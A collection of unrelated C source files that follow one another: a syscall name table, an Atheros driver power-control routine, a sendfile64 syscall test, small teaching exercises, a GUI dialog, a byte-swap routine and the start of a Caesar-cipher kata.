#ifdef SYS_setgroups
case SYS_setgroups:
return "setgroups";
#endif
#ifdef SYS_sethostname
case SYS_sethostname:
return "sethostname";
#endif
#ifdef SYS_setitimer
case SYS_setitimer:
return "setitimer";
#endif
#ifdef SYS_setpgid
case SYS_setpgid:
return "setpgid";
#endif
#ifdef SYS_setpriority
case SYS_setpriority:
return "setpriority";
#endif
#ifdef SYS_setregid
case SYS_setregid:
return "setregid";
#endif
#ifdef SYS_setresgid
case SYS_setresgid:
return "setresgid";
#endif
#ifdef SYS_setresuid
case SYS_setresuid:
return "setresuid";
#endif
#ifdef SYS_setreuid
case SYS_setreuid:
return "setreuid";
#endif
#ifdef SYS_setrlimit
case SYS_setrlimit:
return "setrlimit";
#endif
#ifdef SYS_setsid
case SYS_setsid:
return "setsid";
#endif
#ifdef SYS_settimeofday
case SYS_settimeofday:
return "settimeofday";
#endif
#ifdef SYS_setuid
case SYS_setuid:
return "setuid";
#endif
#ifdef SYS_setxattr
case SYS_setxattr:
return "setxattr";
#endif
#ifdef SYS_sigaltstack
case SYS_sigaltstack:
return "sigaltstack";
#endif
#ifdef SYS_signalfd
case SYS_signalfd:
return "signalfd";
#endif
#ifdef SYS_splice
case SYS_splice:
return "splice";
#endif
#ifdef SYS_stat
case SYS_stat:
return "stat";
#endif
#ifdef SYS_statfs
case SYS_statfs:
return "statfs";
#endif
#ifdef SYS_swapoff
case SYS_swapoff:
return "swapoff";
#endif
#ifdef SYS_swapon
case SYS_swapon:
return "swapon";
#endif
#ifdef SYS_symlink
case SYS_symlink:
return "symlink";
#endif
#ifdef SYS_symlinkat
case SYS_symlinkat:
return "symlinkat";
#endif
#ifdef SYS_sync
case SYS_sync:
return "sync";
#endif
#ifdef SYS_sync_file_range
case SYS_sync_file_range:
return "sync_file_range";
#endif
#ifdef SYS_sysfs
case SYS_sysfs:
return "sysfs";
#endif
#ifdef SYS_sysinfo
case SYS_sysinfo:
return "sysinfo";
#endif
#ifdef SYS_syslog
case SYS_syslog:
return "syslog";
#endif
#ifdef SYS_tee
case SYS_tee:
return "tee";
#endif
#ifdef SYS_tgkill
case SYS_tgkill:
return "tgkill";
#endif
#ifdef SYS_time
case SYS_time:
return "time";
#endif
#ifdef SYS_timer_create
case SYS_timer_create:
return "timer_create";
#endif
#ifdef SYS_timer_delete
case SYS_timer_delete:
return "timer_delete";
#endif
#ifdef SYS_timer_getoverrun
case SYS_timer_getoverrun:
return "timer_getoverrun";
#endif
#ifdef SYS_timer_gettime
case SYS_timer_gettime:
return "timer_gettime";
#endif
#ifdef SYS_timer_settime
case SYS_timer_settime:
return "timer_settime";
#endif
#ifdef SYS_timerfd_create
case SYS_timerfd_create:
return "timerfd_create";
#endif
#ifdef SYS_timerfd_gettime
case SYS_timerfd_gettime:
return "timerfd_gettime";
#endif
#ifdef SYS_timerfd_settime
case SYS_timerfd_settime:
return "timerfd_settime";
#endif
#ifdef SYS_times
case SYS_times:
return "times";
#endif
#ifdef SYS_tkill
case SYS_tkill:
return "tkill";
#endif
#ifdef SYS_truncate
case SYS_truncate:
return "truncate";
#endif
#ifdef SYS_umask
case SYS_umask:
return "umask";
#endif
#ifdef SYS_umount2
case SYS_umount2:
return "umount2";
#endif
#ifdef SYS_uname
case SYS_uname:
return "uname";
#endif
#ifdef SYS_unlink
case SYS_unlink:
return "unlink";
#endif
#ifdef SYS_unlinkat
case SYS_unlinkat:
return "unlinkat";
#endif
#ifdef SYS_unshare
case SYS_unshare:
return "unshare";
#endif
#ifdef SYS_uselib
case SYS_uselib:
return "uselib";
#endif
#ifdef SYS_ustat
case SYS_ustat:
return "ustat";
#endif
#ifdef SYS_utime
case SYS_utime:
return "utime";
#endif
#ifdef SYS_utimensat
case SYS_utimensat:
return "utimensat";
#endif
#ifdef SYS_utimes
case SYS_utimes:
return "utimes";
#endif
#ifdef SYS_vfork
case SYS_vfork:
return "vfork";
#endif
#ifdef SYS_vhangup
case SYS_vhangup:
return "vhangup";
#endif
#ifdef SYS_vmsplice
case SYS_vmsplice:
return "vmsplice";
#endif
#ifdef SYS_vserver
case SYS_vserver:
return "vserver";
#endif
#ifdef SYS_wait4
case SYS_wait4:
return "wait4";
#endif
#ifdef SYS_waitid
case SYS_waitid:
return "waitid";
#endif
#ifdef SYS_write
case SYS_write:
return "write";
#endif
#ifdef SYS_writev
case SYS_writev:
return "writev";
#endif
#ifdef SYS_accept
case SYS_accept:
return "accept";
#endif
#ifdef SYS_arch_prctl
case SYS_arch_prctl:
return "arch_prctl";
#endif
#ifdef SYS_bind
case SYS_bind:
return "bind";
#endif
#ifdef SYS_connect
case SYS_connect:
return "connect";
#endif
#ifdef SYS_epoll_ctl_old
case SYS_epoll_ctl_old:
return "epoll_ctl_old";
#endif
#ifdef SYS_epoll_wait_old
case SYS_epoll_wait_old:
return "epoll_wait_old";
#endif
#ifdef SYS_getpeername
case SYS_getpeername:
return "getpeername";
#endif
#ifdef SYS_getsockname
case SYS_getsockname:
return "getsockname";
#endif
#ifdef SYS_getsockopt
case SYS_getsockopt:
return "getsockopt";
#endif
#ifdef SYS_listen
case SYS_listen:
return "listen";
#endif
#ifdef SYS_msgctl
case SYS_msgctl:
return "msgctl";
#endif
#ifdef SYS_msgget
case SYS_msgget:
return "msgget";
#endif
#ifdef SYS_msgrcv
case SYS_msgrcv:
return "msgrcv";
#endif
#ifdef SYS_msgsnd
case SYS_msgsnd:
return "msgsnd";
#endif
#ifdef SYS_newfstatat
case SYS_newfstatat:
return "newfstatat";
#endif
#ifdef SYS_recvfrom
case SYS_recvfrom:
return "recvfrom";
#endif
#ifdef SYS_recvmsg
case SYS_recvmsg:
return "recvmsg";
#endif
#ifdef SYS_security
case SYS_security:
return "security";
#endif
#ifdef SYS_semctl
case SYS_semctl:
return "semctl";
#endif
#ifdef SYS_semget
case SYS_semget:
return "semget";
#endif
#ifdef SYS_semop
case SYS_semop:
return "semop";
#endif
#ifdef SYS_semtimedop
case SYS_semtimedop:
return "semtimedop";
#endif
#ifdef SYS_sendmsg
case SYS_sendmsg:
return "sendmsg";
#endif
#ifdef SYS_sendto
case SYS_sendto:
return "sendto";
#endif
#ifdef SYS_setsockopt
case SYS_setsockopt:
return "setsockopt";
#endif
#ifdef SYS_shmat
case SYS_shmat:
return "shmat";
#endif
#ifdef SYS_shmctl
case SYS_shmctl:
return "shmctl";
#endif
#ifdef SYS_shmdt
case SYS_shmdt:
return "shmdt";
#endif
#ifdef SYS_shmget
case SYS_shmget:
return "shmget";
#endif
#ifdef SYS_shutdown
case SYS_shutdown:
return "shutdown";
#endif
#ifdef SYS_socket
case SYS_socket:
return "socket";
#endif
#ifdef SYS_socketpair
case SYS_socketpair:
return "socketpair";
#endif
#ifdef SYS_tuxcall
case SYS_tuxcall:
return "tuxcall";
#endif
#ifdef SYS__llseek
case SYS__llseek:
return "_llseek";
#endif
#ifdef SYS__newselect
case SYS__newselect:
return "_newselect";
#endif
#ifdef SYS_bdflush
case SYS_bdflush:
return "bdflush";
#endif
#ifdef SYS_break
case SYS_break:
return "break";
#endif
#ifdef SYS_chown32
case SYS_chown32:
return "chown32";
#endif
#ifdef SYS_fadvise64_64
case SYS_fadvise64_64:
return "fadvise64_64";
#endif
#ifdef SYS_fchown32
case SYS_fchown32:
return "fchown32";
#endif
#ifdef SYS_fcntl64
case SYS_fcntl64:
return "fcntl64";
#endif
#ifdef SYS_fstat64
case SYS_fstat64:
return "fstat64";
#endif
#ifdef SYS_fstatat64
case SYS_fstatat64:
return "fstatat64";
#endif
#ifdef SYS_fstatfs64
case SYS_fstatfs64:
return "fstatfs64";
#endif
#ifdef SYS_ftime
case SYS_ftime:
return "ftime";
#endif
#ifdef SYS_ftruncate64
case SYS_ftruncate64:
return "ftruncate64";
#endif
#ifdef SYS_getcpu
case SYS_getcpu:
return "getcpu";
#endif
#ifdef SYS_getegid32
case SYS_getegid32:
return "getegid32";
#endif
#ifdef SYS_geteuid32
case SYS_geteuid32:
return "geteuid32";
#endif
#ifdef SYS_getgid32
case SYS_getgid32:
return "getgid32";
#endif
#ifdef SYS_getgroups32
case SYS_getgroups32:
return "getgroups32";
#endif
#ifdef SYS_getresgid32
case SYS_getresgid32:
return "getresgid32";
#endif
#ifdef SYS_getresuid32
case SYS_getresuid32:
return "getresuid32";
#endif
#ifdef SYS_getuid32
case SYS_getuid32:
return "getuid32";
#endif
#ifdef SYS_gtty
case SYS_gtty:
return "gtty";
#endif
#ifdef SYS_idle
case SYS_idle:
return "idle";
#endif
#ifdef SYS_ipc
case SYS_ipc:
return "ipc";
#endif
#ifdef SYS_lchown32
case SYS_lchown32:
return "lchown32";
#endif
#ifdef SYS_lock
case SYS_lock:
return "lock";
#endif
#ifdef SYS_lstat64
case SYS_lstat64:
return "lstat64";
#endif
#ifdef SYS_madvise1
case SYS_madvise1:
return "madvise1";
#endif
#ifdef SYS_mmap2
case SYS_mmap2:
return "mmap2";
#endif
#ifdef SYS_mpx
case SYS_mpx:
return "mpx";
#endif
#ifdef SYS_nice
case SYS_nice:
return "nice";
#endif
#ifdef SYS_oldfstat
case SYS_oldfstat:
return "oldfstat";
#endif
#ifdef SYS_oldlstat
case SYS_oldlstat:
return "oldlstat";
#endif
#ifdef SYS_oldolduname
case SYS_oldolduname:
return "oldolduname";
#endif
#ifdef SYS_oldstat
case SYS_oldstat:
return "oldstat";
#endif
#ifdef SYS_olduname
case SYS_olduname:
return "olduname";
#endif
#ifdef SYS_prof
case SYS_prof:
return "prof";
#endif
#ifdef SYS_profil
case SYS_profil:
return "profil";
#endif
#ifdef SYS_readdir
case SYS_readdir:
return "readdir";
#endif
#ifdef SYS_sendfile64
case SYS_sendfile64:
return "sendfile64";
#endif
#ifdef SYS_setfsgid32
case SYS_setfsgid32:
return "setfsgid32";
#endif
#ifdef SYS_setfsuid32
case SYS_setfsuid32:
return "setfsuid32";
#endif
#ifdef SYS_setgid32
case SYS_setgid32:
return "setgid32";
#endif
#ifdef SYS_setgroups32
case SYS_setgroups32:
return "setgroups32";
#endif
#ifdef SYS_setregid32
case SYS_setregid32:
return "setregid32";
#endif
#ifdef SYS_setresgid32
case SYS_setresgid32:
return "setresgid32";
#endif
#ifdef SYS_setresuid32
case SYS_setresuid32:
return "setresuid32";
#endif
#ifdef SYS_setreuid32
case SYS_setreuid32:
return "setreuid32";
#endif
#ifdef SYS_setuid32
case SYS_setuid32:
return "setuid32";
#endif
#ifdef SYS_sgetmask
case SYS_sgetmask:
return "sgetmask";
#endif
#ifdef SYS_sigaction
case SYS_sigaction:
return "sigaction";
#endif
#ifdef SYS_signal
case SYS_signal:
return "signal";
#endif
#ifdef SYS_sigpending
case SYS_sigpending:
return "sigpending";
#endif
#ifdef SYS_sigprocmask
case SYS_sigprocmask:
return "sigprocmask";
#endif
#ifdef SYS_sigreturn
case SYS_sigreturn:
return "sigreturn";
#endif
#ifdef SYS_sigsuspend
case SYS_sigsuspend:
return "sigsuspend";
#endif
#ifdef SYS_socketcall
case SYS_socketcall:
return "socketcall";
#endif
#ifdef SYS_ssetmask
case SYS_ssetmask:
return "ssetmask";
#endif
#ifdef SYS_stat64
case SYS_stat64:
return "stat64";
#endif
#ifdef SYS_statfs64
case SYS_statfs64:
return "statfs64";
#endif
#ifdef SYS_stime
case SYS_stime:
return "stime";
#endif
#ifdef SYS_stty
case SYS_stty:
return "stty";
#endif
#ifdef SYS_truncate64
case SYS_truncate64:
return "truncate64";
#endif
#ifdef SYS_ugetrlimit
case SYS_ugetrlimit:
return "ugetrlimit";
#endif
#ifdef SYS_ulimit
case SYS_ulimit:
return "ulimit";
#endif
#ifdef SYS_umount
case SYS_umount:
return "umount";
#endif
#ifdef SYS_vm86
case SYS_vm86:
return "vm86";
#endif
#ifdef SYS_vm86old
case SYS_vm86old:
return "vm86old";
#endif
#ifdef SYS_waitpid
case SYS_waitpid:
return "waitpid";
#endif
default:
return "unknown";
}
}
|
the_stack_data/54824955.c
|
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_14__ TYPE_7__ ;
typedef struct TYPE_13__ TYPE_6__ ;
typedef struct TYPE_12__ TYPE_5__ ;
typedef struct TYPE_11__ TYPE_4__ ;
typedef struct TYPE_10__ TYPE_3__ ;
typedef struct TYPE_9__ TYPE_2__ ;
typedef struct TYPE_8__ TYPE_1__ ;
/* Type definitions */
struct ath_hal {int dummy; } ;
typedef int int32_t ;
struct TYPE_9__ {int misc_configuration; int feature_enable; int txrx_mask; } ;
struct TYPE_10__ {int temp_slope_low; int temp_slope_high; } ;
struct TYPE_12__ {int* tempslopextension; } ;
struct TYPE_11__ {int temp_slope; } ;
struct TYPE_8__ {int temp_slope; } ;
struct TYPE_13__ {TYPE_2__ base_eep_header; TYPE_3__ base_ext2; TYPE_5__ base_ext1; TYPE_4__ modal_header_5g; int /*<<< orphan*/ * cal_freq_pier_5g; TYPE_1__ modal_header_2g; } ;
typedef TYPE_6__ ar9300_eeprom_t ;
struct TYPE_14__ {TYPE_6__ ah_eeprom; } ;
/* Variables and functions */
TYPE_7__* AH9300 (struct ath_hal*) ;
int /*<<< orphan*/ AR_PHY_TPC_11_B0 ;
int /*<<< orphan*/ AR_PHY_TPC_11_B1 ;
int /*<<< orphan*/ AR_PHY_TPC_11_B2 ;
int /*<<< orphan*/ AR_PHY_TPC_18 ;
int /*<<< orphan*/ AR_PHY_TPC_18_THERM_CAL_VALUE ;
int /*<<< orphan*/ AR_PHY_TPC_19 ;
int /*<<< orphan*/ AR_PHY_TPC_19_ALPHA_THERM ;
int /*<<< orphan*/ AR_PHY_TPC_6_B0 ;
int /*<<< orphan*/ AR_PHY_TPC_6_B1 ;
int /*<<< orphan*/ AR_PHY_TPC_6_B2 ;
int /*<<< orphan*/ AR_PHY_TPC_6_ERROR_EST_MODE ;
int AR_PHY_TPC_6_ERROR_EST_MODE_S ;
int /*<<< orphan*/ AR_PHY_TPC_OLPC_GAIN_DELTA ;
int AR_PHY_TPC_OLPC_GAIN_DELTA_S ;
int /*<<< orphan*/ AR_SCORPION_PHY_TPC_19_B1 ;
int /*<<< orphan*/ AR_SCORPION_PHY_TPC_19_B2 ;
int /*<<< orphan*/ AR_SREV_HONEYBEE (struct ath_hal*) ;
int /*<<< orphan*/ AR_SREV_JUPITER (struct ath_hal*) ;
int /*<<< orphan*/ AR_SREV_POSEIDON (struct ath_hal*) ;
int /*<<< orphan*/ AR_SREV_SCORPION (struct ath_hal*) ;
int /*<<< orphan*/ AR_SREV_WASP (struct ath_hal*) ;
int FBIN2FREQ (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ OS_REG_RMW (struct ath_hal*,int /*<<< orphan*/ ,int,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ OS_REG_RMW_FIELD (struct ath_hal*,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int) ;
int interpolate (int,int*,int*,int) ;
int
ar9300_power_control_override(struct ath_hal *ah, int frequency,
int *correction, int *voltage, int *temperature)
{
int temp_slope = 0;
int temp_slope_1 = 0;
int temp_slope_2 = 0;
ar9300_eeprom_t *eep = &AH9300(ah)->ah_eeprom;
int32_t f[8], t[8],t1[3], t2[3];
int i;
OS_REG_RMW(ah, AR_PHY_TPC_11_B0,
(correction[0] << AR_PHY_TPC_OLPC_GAIN_DELTA_S),
AR_PHY_TPC_OLPC_GAIN_DELTA);
if (!AR_SREV_POSEIDON(ah)) {
OS_REG_RMW(ah, AR_PHY_TPC_11_B1,
(correction[1] << AR_PHY_TPC_OLPC_GAIN_DELTA_S),
AR_PHY_TPC_OLPC_GAIN_DELTA);
if (!AR_SREV_WASP(ah) && !AR_SREV_JUPITER(ah) && !AR_SREV_HONEYBEE(ah) ) {
OS_REG_RMW(ah, AR_PHY_TPC_11_B2,
(correction[2] << AR_PHY_TPC_OLPC_GAIN_DELTA_S),
AR_PHY_TPC_OLPC_GAIN_DELTA);
}
}
/*
* enable open loop power control on chip
*/
OS_REG_RMW(ah, AR_PHY_TPC_6_B0,
(3 << AR_PHY_TPC_6_ERROR_EST_MODE_S), AR_PHY_TPC_6_ERROR_EST_MODE);
if (!AR_SREV_POSEIDON(ah)) {
OS_REG_RMW(ah, AR_PHY_TPC_6_B1,
(3 << AR_PHY_TPC_6_ERROR_EST_MODE_S), AR_PHY_TPC_6_ERROR_EST_MODE);
if (!AR_SREV_WASP(ah) && !AR_SREV_JUPITER(ah) && !AR_SREV_HONEYBEE(ah) ) {
OS_REG_RMW(ah, AR_PHY_TPC_6_B2,
(3 << AR_PHY_TPC_6_ERROR_EST_MODE_S),
AR_PHY_TPC_6_ERROR_EST_MODE);
}
}
/*
* Enable temperature compensation
* Need to use register names
*/
if (frequency < 4000) {
temp_slope = eep->modal_header_2g.temp_slope;
} else {
if ((eep->base_eep_header.misc_configuration & 0x20) != 0)
{
for(i=0;i<8;i++)
{
t[i]=eep->base_ext1.tempslopextension[i];
f[i]=FBIN2FREQ(eep->cal_freq_pier_5g[i], 0);
}
temp_slope=interpolate(frequency,f,t,8);
}
else
{
if(!AR_SREV_SCORPION(ah)) {
if (eep->base_ext2.temp_slope_low != 0) {
t[0] = eep->base_ext2.temp_slope_low;
f[0] = 5180;
t[1] = eep->modal_header_5g.temp_slope;
f[1] = 5500;
t[2] = eep->base_ext2.temp_slope_high;
f[2] = 5785;
temp_slope = interpolate(frequency, f, t, 3);
} else {
temp_slope = eep->modal_header_5g.temp_slope;
}
} else {
/*
* Scorpion has individual chain tempslope values
*/
t[0] = eep->base_ext1.tempslopextension[2];
t1[0]= eep->base_ext1.tempslopextension[3];
t2[0]= eep->base_ext1.tempslopextension[4];
f[0] = 5180;
t[1] = eep->modal_header_5g.temp_slope;
t1[1]= eep->base_ext1.tempslopextension[0];
t2[1]= eep->base_ext1.tempslopextension[1];
f[1] = 5500;
t[2] = eep->base_ext1.tempslopextension[5];
t1[2]= eep->base_ext1.tempslopextension[6];
t2[2]= eep->base_ext1.tempslopextension[7];
f[2] = 5785;
temp_slope = interpolate(frequency, f, t, 3);
temp_slope_1=interpolate(frequency, f, t1,3);
temp_slope_2=interpolate(frequency, f, t2,3);
}
}
}
if (!AR_SREV_SCORPION(ah) && !AR_SREV_HONEYBEE(ah)) {
OS_REG_RMW_FIELD(ah,
AR_PHY_TPC_19, AR_PHY_TPC_19_ALPHA_THERM, temp_slope);
} else {
/*Scorpion and Honeybee has tempSlope register for each chain*/
/*Check whether temp_compensation feature is enabled or not*/
if (eep->base_eep_header.feature_enable & 0x1){
if(frequency < 4000) {
if (((eep->base_eep_header.txrx_mask & 0xf0) >> 4) & 0x1) {
OS_REG_RMW_FIELD(ah,
AR_PHY_TPC_19, AR_PHY_TPC_19_ALPHA_THERM,
eep->base_ext2.temp_slope_low);
}
if (((eep->base_eep_header.txrx_mask & 0xf0) >> 4) & 0x2) {
OS_REG_RMW_FIELD(ah,
AR_SCORPION_PHY_TPC_19_B1, AR_PHY_TPC_19_ALPHA_THERM,
temp_slope);
}
if (((eep->base_eep_header.txrx_mask & 0xf0) >> 4) & 0x4) {
OS_REG_RMW_FIELD(ah,
AR_SCORPION_PHY_TPC_19_B2, AR_PHY_TPC_19_ALPHA_THERM,
eep->base_ext2.temp_slope_high);
}
} else {
if (((eep->base_eep_header.txrx_mask & 0xf0) >> 4) & 0x1) {
OS_REG_RMW_FIELD(ah,
AR_PHY_TPC_19, AR_PHY_TPC_19_ALPHA_THERM,
temp_slope);
}
if (((eep->base_eep_header.txrx_mask & 0xf0) >> 4) & 0x2) {
OS_REG_RMW_FIELD(ah,
AR_SCORPION_PHY_TPC_19_B1, AR_PHY_TPC_19_ALPHA_THERM,
temp_slope_1);
}
if (((eep->base_eep_header.txrx_mask & 0xf0) >> 4) & 0x4) {
OS_REG_RMW_FIELD(ah,
AR_SCORPION_PHY_TPC_19_B2, AR_PHY_TPC_19_ALPHA_THERM,
temp_slope_2);
}
}
}else {
/* If temp compensation is not enabled, set all registers to 0*/
if (((eep->base_eep_header.txrx_mask & 0xf0) >> 4) & 0x1) {
OS_REG_RMW_FIELD(ah,
AR_PHY_TPC_19, AR_PHY_TPC_19_ALPHA_THERM, 0);
}
if (((eep->base_eep_header.txrx_mask & 0xf0) >> 4) & 0x2) {
OS_REG_RMW_FIELD(ah,
AR_SCORPION_PHY_TPC_19_B1, AR_PHY_TPC_19_ALPHA_THERM, 0);
}
if (((eep->base_eep_header.txrx_mask & 0xf0) >> 4) & 0x4) {
OS_REG_RMW_FIELD(ah,
AR_SCORPION_PHY_TPC_19_B2, AR_PHY_TPC_19_ALPHA_THERM, 0);
}
}
}
OS_REG_RMW_FIELD(ah,
AR_PHY_TPC_18, AR_PHY_TPC_18_THERM_CAL_VALUE, temperature[0]);
return 0;
}
|
the_stack_data/14109.c
|
/*
* Copyright (c) 2015 Dmitry V. Levin <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#ifdef __NR_sendfile64
int
main(int ac, const char **av)
{
assert(ac == 2);
(void) close(0);
if (open("/dev/zero", O_RDONLY) != 0)
return 77;
int sv[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv))
return 77;
int reg_in = open(av[1], O_RDONLY);
if (reg_in < 0)
return 77;
struct stat stb;
if (fstat(reg_in, &stb))
return 77;
const size_t blen = stb.st_size / 3;
const size_t alen = stb.st_size - blen;
assert(S_ISREG(stb.st_mode) && blen > 0);
const size_t page_len = sysconf(_SC_PAGESIZE);
if (!syscall(__NR_sendfile64, 0, 1, NULL, page_len) ||
EBADF != errno)
return 77;
printf("sendfile64(0, 1, NULL, %lu) = -1 EBADF (Bad file descriptor)\n",
(unsigned long) page_len);
void *p = mmap(NULL, page_len * 2, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (MAP_FAILED == p || munmap(p + page_len, page_len))
return 77;
if (!syscall(__NR_sendfile64, 0, 1, p + page_len, page_len))
return 77;
printf("sendfile64(0, 1, %#lx, %lu) = -1 EFAULT (Bad address)\n",
(unsigned long) p + page_len, (unsigned long) page_len);
if (syscall(__NR_sendfile64, sv[1], reg_in, NULL, alen) != (long) alen)
return 77;
printf("sendfile64(%d, %d, NULL, %lu) = %lu\n",
sv[1], reg_in, (unsigned long) alen,
(unsigned long) alen);
uint64_t *p_off = p + page_len - sizeof(uint64_t);
if (syscall(__NR_sendfile64, sv[1], reg_in, p_off, alen) != (long) alen)
return 77;
printf("sendfile64(%d, %d, [0] => [%lu], %lu) = %lu\n",
sv[1], reg_in, (unsigned long) alen,
(unsigned long) alen, (unsigned long) alen);
if (syscall(__NR_sendfile64, sv[1], reg_in, p_off, stb.st_size + 1)
!= (long) blen)
return 77;
printf("sendfile64(%d, %d, [%lu] => [%lu], %lu) = %lu\n",
sv[1], reg_in, (unsigned long) alen,
(unsigned long) stb.st_size,
(unsigned long) stb.st_size + 1,
(unsigned long) blen);
*p_off = 0xcafef00dfacefeed;
if (!syscall(__NR_sendfile64, sv[1], reg_in, p_off, 1))
return 77;
printf("sendfile64(%d, %d, [14627392582579060461], 1)"
" = -1 EINVAL (Invalid argument)\n",
sv[1], reg_in);
*p_off = 0xfacefeed;
if (syscall(__NR_sendfile64, sv[1], reg_in, p_off, 1))
return 77;
printf("sendfile64(%d, %d, [4207869677], 1) = 0\n",
sv[1], reg_in);
puts("+++ exited with 0 +++");
return 0;
}
#else
int
main(void)
{
return 77;
}
#endif
|
the_stack_data/34512234.c
|
#include <stdio.h>
#include <stdlib.h>
int* get_array_1(int* p_arr_size);
void get_array_2(int** pp_arr, int* p_arr_size);
void output_array(int* p_arr, int size, const char* msg);
int main()
{
int *p1 = NULL;
int size1;
size1 = 5;
p1 = get_array_1(&size1);
output_array(p1 ,size1, "Array 1:");
free(p1);
int* p_arr2 = NULL;
int size2;
get_array_2(&p_arr2, &size2);
output_array(p_arr2, size2, "Array 2:");
free(p_arr2);
p_arr2 = NULL;
exit(0);
}
int * get_array_1(int * p_arr_size)
{
if(p_arr_size < 0)
{
exit(-1);
}
int *p1 = (int*)malloc((*p_arr_size)*sizeof(int));
for(int i =0;i<(*p_arr_size) ;i++)
{
*(p1+i) = rand();
}
return p1;
}
void output_array(int* p_arr, int size, const char* msg)
{
if(msg != NULL)
{
puts(msg);
}
for(int i = 0; i <size ; i++)
{
printf("data[%d] = %d \n" , i , *(p_arr+i));
}
}
void get_array_2(int** pp_arr, int* p_arr_size)
{
int* p_arr = NULL;
int size = 0;
int i;
assert(pp_arr != NULL);
assert(p_arr_size != NULL);
printf("Enter size of array:");
scanf("%d", &size);
assert(size > 0);
p_arr = malloc(size * sizeof(int));
assert(p_arr != NULL);
for(i = 0; i < size; ++i)
*(p_arr + i) = rand();
*pp_arr = p_arr;
*p_arr_size = size;
}
|
the_stack_data/89201342.c
|
#include <stdio.h>
#include <stdlib.h>
int i = 10;
int main() {
printf("Exit Success: %d\n" , EXIT_SUCCESS);
printf("Exit Failure: %d\n" , EXIT_FAILURE);
return 0;
}
// https://en.cppreference.com/w/c/program/EXIT_status
|
the_stack_data/193892989.c
|
#ifdef IUPGUI
#include <p_gOvrWd.h>
gCallback p_gStFlg(bool *flag, bool state, natural ret)
{
*flag = state;
return ret;
}
bool p_gOvrWd()
{
Ihandle *dialog, *message, *yesHandle, *noHandle;
bool overwrite = false;
message = IupLabel(GUI_MSG_OVRWRT);
yesHandle = IupButton(GUI_BUTTON_YES, NULL);
IupSetCallback(
yesHandle,
"ACTION",
(Icallback)p_gStFlg(&overwrite, true, IUP_CLOSE));
noHandle = IupButton(GUI_BUTTON_NO, NULL);
IupSetCallback(noHandle, "ACTION", (Icallback)p_gExit);
dialog = IupDialog(
IupVbox(
message, IupHbox(
yesHandle, noHandle, NULL), NULL));
IupPopup(dialog, IUP_CENTER, IUP_CENTER);
IupMainLoop();
return overwrite;
}
#endif
|
the_stack_data/192330156.c
|
/*@ opt -perfect-sync @*/
/* dietlibc */
#include <unistd.h>
extern int __mark(int);
void swab(const void *src, void *dest, ssize_t nbytes) {
ssize_t i;
const char *s = src;
char *d = dest;
nbytes = (nbytes / 2) * 2;
for (i = 0; __mark(0) & (i < nbytes); i += 2) {
d[i] = s[i + 1];
d[i + 1] = s[i];
}
}
|
the_stack_data/15281.c
|
/*Exercise 4 - Functions
Implement the three functions minimum(), maximum() and multiply() below the main() function.
Do not change the code given in the main() function when you are implementing your solution.*/
#include <stdio.h>
int minimum(int no1 , int no2);
int maximum(int no1 , int no2);
int multiply(int no1, int no2);
int main() {
int no1, no2;
printf("Enter a value for no 1 : ");
scanf("%d", &no1);
printf("Enter a value for no 2 : ");
scanf("%d", &no2);
printf("%d ", minimum(no1, no2));
printf("%d ", maximum(no1, no2));
printf("%d ", multiply(no1, no2));
return 0;
}
int minimum(int no1 , int no2){
if (no1 <= no2){
return no1;
}
else{
return no2;
}
}
int maximum(int no1 , int no2){
if (no1 >= no2){
return no1;
}
else{
return no2;
}
}
int multiply(int no1, int no2){
return no1 * no2;
}
|
the_stack_data/195834.c
|
#include <stdio.h>
#include <math.h>
int main(void) {
double a;
scanf("%lf", &a);
double r = sqrt(a / M_PI);
printf("Radius is %lf\n", r);
return 0;
}
|
the_stack_data/73575392.c
|
/*
* https://www.codewars.com/kata/55084d3898b323f0aa000546/train/c
*/
#include <string.h>
#include <tgmath.h>
#include <ctype.h>
#include <stdbool.h>
#include <stdlib.h>
#define PREFIX_LENGTH 2
#define ALPHABET_SIZE 26
#define AMOUNT_OF_CHUNKS 5
static char *prepareCiphertext(const char *string);
static void caesars(char *cleartext, int shift);
static char **chunksOf(const char *string, int *lg);
/**
* @param lg the number of fragments that this function will return
*/
char **encode(char *string, int shift, int *lg) {
char *ciphertext = prepareCiphertext(string);
caesars(ciphertext + 1, shift);
char **chunks = chunksOf(ciphertext, lg);
free(ciphertext);
return chunks;
}
static char *join(const char **strings, size_t count, const char *delimiter);
static int extractShift(const char *joined);
/**
